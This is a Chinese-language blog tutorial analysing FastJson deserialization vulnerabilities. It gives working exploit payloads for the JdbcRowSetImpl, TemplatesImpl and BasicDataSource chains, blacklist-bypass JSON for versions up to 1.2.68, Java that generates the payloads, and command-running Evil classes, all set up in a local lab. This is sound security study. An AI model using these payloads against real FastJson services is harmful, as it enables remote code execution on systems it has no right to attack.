FastJson反序列化

FastJson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

序列化

使用JSON.toJSONString和进行序列化操作,首先需要定义一个Student类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class Student {
    public int age;
    private String name;

    public void setName(String name){
        this.name = name;
    }
    public String getName(){
        return this.name;
    }
}

可以进行序列化操作:

1
2
3
4
Student student = new Student();
student.setName("EastJun");
String a = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(a);

其中指定SerializerFeature.WriteClassName参数可以在序列化字符串中加入类的ClassName,上面的代码输出结果如下:

1
{"@type":"Student","age":0,"name":"EastJun"}

反序列化

使用JSON.parseObjectJSON.parse可以进行反序列化操作,使用@type可以反序列化任意类:

1
2
JSONObject jobj = JSON.parseObject("{\"@type\":\"Student\",\"age\":10,\"name\":\"EastJun\"}");
System.out.println(jobj);

执行上面这段代码可以将字符串进行反序列化,其中使用@type指定反序列化的ClassName。

在反序列化时会调用类中成员变量的set和get方法,例如上面的Student类定义了一个public和一个private类型的成员变量,对于name这个private变量的设置是调用setName方法实现的,而对于public的变量则直接进行赋,而类中如果存在setAge方法则在反序列化时会调用setAge方法对age进行赋值。

反序列化流程

FastJson在使用parseObject进行反序列化时将传入的字符串交给parse函数进行处理,然后将处理结果转为JSONObject

JSON.parse函数中首先创建一个JSONParser,然后调用parser.parse()进行反序列化

1
2
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();

创建JSONParser时在DefaultJSONParser的构造方法中会获取到传入的第一个字符串为{,将token值设置为12:

1
2
3
4
5
6
7
8
9
if (ch == '{') {
    lexer.next();
    ((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
    lexer.next();
    ((JSONLexerBase)lexer).token = 14;
} else {
    lexer.nextToken();
}

然后在parser.parse()函数中根据token的值为12执行这一段代码:

1
2
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

parseObject函数中获取到JSON的key值,如果key值为@type则先使用TypeUtils.loadClass对类进行加载,然后进行反序列化:

202201211752338

TypeUtils.loadClass函数中的代码如下:

202201211755656

这里有两个if语句,一个是判断[字符串返回数组,另一个if语句用于递归地去除开头的L和结尾的;然后返回加载的Class

然后进入到getDeserializer()方法获取Deserializer进行反序列化:

1
2
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);

getDeserializer()方法中使用denyList对可以进行反序列化的类进行限制:

202201211804710

在FastJson1.2.24版本的denyList中只有一个java.lang.Thread类。

最后到达deserializer.deserialze方法中进行对类反序列化,其中调用了get和set方法对成员变量进行赋值

JdbcRowSetImpl利用链

使用JdbcRowSetImpl可以进行JNDI注入:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

将远程恶意类放在8888端口的http服务中:

1
2
3
4
5
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"calc"});
    }
}

启动ldap服务:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#Exploit 9999

然后在反序列化后首先调用setDataSourceName()方法设置dataSource,然后调用setAutoCommit()方法设置autoCommit

setAutoCommit()方法中调用connect()函数时有这一段代码可以进行JNDI注入:

1
2
DataSource ds = (DataSource)ctx.lookup
    (getDataSourceName());

JNDI注入的原理之前写过:JNDI注入

TemplatesImpl利用链

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中的成员变量都是private属性的,而,所以这条链需要在parse时设置Feature.SupportNonPublicField,然后在反序列化时FastJson可以进行反射调用给private的成员变量赋值

首先需要编译一个Evil类,然后将class文件转为base64形式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class Evil extends AbstractTranslet {
    public Evil() throws Exception {
        Runtime.getRuntime().exec(new String[]{"calc"});
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    }
}

然后传入JSON字符串:

1
2
3
4
5
6
7
{
 "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes":["payload here"],
 "_name":"a",
 "_tfactory":{},
 "_outputProperties":{}
}

可以在Java中写这一段代码生成payload:

1
2
3
4
5
JavaClass javaClass = Repository.lookupClass(Evil.class);
String b64 = new String(Base64.getEncoder().encode(javaClass.getBytes()));
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+b64+"\"],\"_name\":\"a\",\"_tfactory\":{},\"_outputProperties\":{}}";
System.out.println(payload);
JSONObject jobj = JSON.parseObject(payload, Feature.SupportNonPublicField);

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类的内部有定义一个类加载器TransletClassLoader可以用加载字节码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;
    TransletClassLoader(ClassLoader parent) {
        super(parent);
        _loadedExternalExtensionFunctions = null;
    }
    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
    }
    /**
    * Access to final protected superclass member from outer class.
    */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

在FastJson反序列化TemplatesImpl后会调用getOutputProperties()方法,这个方法最终调用到getTransletInstance方法时会使用TransletClassLoader加载_bytecodes中的字节码,然后判断父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果不是就会抛出异常:

202201212307156

最后调用newInstance()方法对类进行实例化执行Evil类的构造方法进行RCE

BasicDataSource利用链

这条链使用了org.apache.tomcat.dbcp.dbcp2.BasicDataSource,首先需要引入Tomcat相关的包:

1
2
3
4
5
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>10.0.16</version>
</dependency>

payload如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },"driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

在分析payload之前还得看看FastJson的特性:

首先在这里写一个Student类:

1
2
3
4
5
public class Student {
    public String getTest(){
        return "abcd";
    }
}

在调用JSON.toJSONString()方法进行反序列化时即是这里没有test成员变量也能调用这个getTets()方法输出一个test参数:

1
{"test":"abcd"}

还有一个特性是在反序列化时如果key值为JSONObject,会调用JSONObject的toString()方法,而调用JSONObject的toString()方法时存在对getter方法的调用:

1
{{"x":{"@type":"Student"}}:"x"}

例如上面一段JSON字符串进行反序列化时同样会调用getTest()方法

在上面这条链中FastJson对BasicDataSource进行了反序列化,然后调用了getConnection()方法,再经过一系列调用最后到了org.apache.tomcat.dbcp.dbcp2.DriverFactory类中的createDriver()方法,然后执行到Class.forName()对类进行加载并执行static代码块: 202201220307714

这里在使用Class.forName加载类时第三个参数为我们指定的类加载器:

1
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);

然后这里使用了com.sun.org.apache.bcel.internal.util.ClassLoader作为ClassLoader,它可以从需要加载的类名中提取字节码进行加载:

202201220321350

这个类加载器检测了类名中是否包含$$BCEL$$,如果包含则将后面的字符串提取出来进行解码作为字节码进行加载。

payload在Java中可以这样写:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
JavaClass javaClass = Repository.lookupClass(Evil.class);
String code = Utility.encode(javaClass.getBytes(), true);
String payload = "{\n" +
    "    {\n" +
    "        \"x\":{\n" +
    "                \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
    "                \"driverClassLoader\": {\n" +
    "                    \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
    "                },\"driverClassName\": \"$$BCEL$$"+code+"\"\n" +
    "        }\n" +
    "    }: \"x\"\n" +
    "}";
JSONObject jobj = JSON.parseObject(payload);

然后在Evil类的static代码块中写入恶意代码

1
2
3
4
5
6
7
public class Evil {
    static {
        try{
            Runtime.getRuntime().exec(new String[]{"calc"});
        }catch (Exception ignore){}
    }
}

最终可以进行RCE:

202201220336440

修复与Bypass

ver>=1.2.25&ver<=1.2.41

在1.2.25版本以后默认关闭AutoType,还加入了checkAutoType()使用黑名单+白名单对类进行检查,在开启黑名单时先使用白名单检测,再使用黑名单检测,而对黑名单的检测如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
for(mask = 0; mask < this.denyList.length; ++mask) {
    accept = this.denyList[mask];
    if (className.startsWith(accept) &&
        TypeUtils.getClassFromMapping(typeName) == null) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}
//somecode here
if (clazz == null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

这里使用startsWith检查黑名单,然后过了黑名单之后使用TypeUtils.loadClass()对类进行加载,这个方法在前面有分析过,会递归地删除开头的L和结尾的;所以加入L;即可绕过黑名单检测

payload:

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

ver=1.2.42

这个版本将黑名单换为十进制了,而且在checkAutoType时首先去除了L;

202201221449085

可以双写进行绕过:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true}

ver=1.2.43

这个版本修复了多个L的情况,但是TypeUtils.loadClass()中还有对[进行特殊处理,所以可以用于绕过黑名单:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:9999/Exploit", "autoCommit":true]}}

ver<=1.2.47

1.2.47及以下的版本都可以在不开启AutoType时反序列化

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://127.0.0.1:9999/Exploit", 
        "autoCommit": true
    }
}

在这里首先进行反序列化的是java.lang.Class类,对该类进行反序列时通过getDeserializer()方法获取到的DeserializerMiscCodec,然后会调用调用deserializer.deserialze()方法,然后FastJson会获取val的值并调用TypeUtils.loadClass进行加载

202201221708629

然后FastJson会调用contextClassLoader.loadClass()方法对类进行加载,然后调用mappings.put()方法将恶意类放到mappings中:

202201221718655

接着在反序列化com.sun.rowset.JdbcRowSetImpl时在checkAutoType()方法时因为没有开启AutoType所以跳过了黑名单的判断,然后调用TypeUtils.getClassFromMapping()方法直接从mappings中获取类并返回。

202201221721059

后面就是利用JdbcRowSetImpl类进行JNDI注入。

1.2.48版本对的修复方式是对TypeUtils.loadClass增加了cache参数,默认为false

202201221726955

只有在cache参数为true时才会将类加入mappings中:

202201221727705

ver<=1.2.68

一直到这个版本都可以绕过AutoType进行反序列化,复现这个漏洞需要先在本地写一个可以利用的恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package vul;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void close() throws Exception {

    }
}

payload:

1
{"@type":"java.lang.AutoCloseable","@type":"Evil","cmd":"calc"}

在传入上面这样的JSON字符串时可以反序列化这个类并执行命令。

可以绕过AutoType的原理是在checkAutoType()方法中可以指定expectClass,在指定expectClass后只要加载的类不为这几个特殊的类都可以设置expectClassFlag为true:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if (expectClass == null) {
    expectClassFlag = false;
} else if (expectClass != Object.class 
           && expectClass != Serializable.class 
           && expectClass != Cloneable.class 
           && expectClass != Closeable.class 
           && expectClass != EventListener.class 
           && expectClass != Iterable.class 
           && expectClass != Collection.class) {
    expectClassFlag = true;
} else {
    expectClassFlag = false;
}

然后就能绕过这一段check进入TypeUtils.loadClass对类进行加载

202201222247255

然后可以找到在ThrowableDeserializerJavaBeanDeserializer中在调用checkAutoType()方法时有指定expectClass

202201222310451

在前面调用getDeserializer()方法获取Deserializer时有这样一些判断,检查是否是这几个类的子类,然后创建对应的Deserializer

202201222323087

然后在调用JavaBeanDeserializerdeserialze()方法时可以绕过checkAutoType()的检查反序列化实现了AutoCloseable接口的类。

不过实际上这只是绕过了AutoType的检查,实际利用还需要gadget,在BlackHat2021议题中有公布一些已知的gadget,包括mysql SSRF/RCE链和commons-io文件读取链:https://paper.seebug.org/1698/

Referer

Java动态类加载,当FastJson遇到内网

FastJson 反序列化学习

Fastjson三种利用链对比分析

updatedupdated2023-05-202023-05-20